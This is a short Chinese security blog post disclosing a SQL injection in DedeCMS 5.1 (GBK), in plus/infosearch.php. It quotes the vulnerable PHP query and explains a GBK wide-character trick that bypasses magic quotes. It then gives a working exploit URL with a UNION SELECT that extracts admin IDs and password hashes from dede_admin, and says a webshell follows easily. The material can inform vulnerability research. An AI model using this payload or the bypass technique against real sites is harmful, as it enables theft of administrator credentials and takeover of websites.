一个月前看了看了dedecms代码(只看了plus下的文件),发现有些变量人为控制没有过滤,但是在php的魔法引号这道天然屏障面前利用几率不好,但是联想到gbk的宽字符,突破方法就有了.
漏洞文件:plus/infosearch.php
测试版本:5.1 gbk
描述:$q变量没有过滤直接进入查询,导致注入出现。代码如下:
PHP代码
$q = trim($q); if($areaid > 0) { $wheresql = "areaid=$areaid and "; } $query = "select ID,typeid,title,memberID,writer,senddate from #@__infos where $wheresql title like '%$q%' order by senddate desc"; $dlist = new DataList(); $dlist->pageSize = 20; $dlist->SetParameter("q",$q); $dlist->SetParameter("action",'search'); $dlist->SetParameter("areaid",$areaid); $dlist->SetSource($query);
“‘”突破了,那就照常注入。
测试站:
http://www.xxx.com/plus/infosearch.php?action=search&q=%cf’%20union%20select%201,2,id,4,pwd,6%20from%20dede_admin/*
至于后台拿shell,找不到后台的一样可以轻松拿到shell.不会的留言。
还有几个文件存在注入问题,象feedback.php,后续发放分析。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论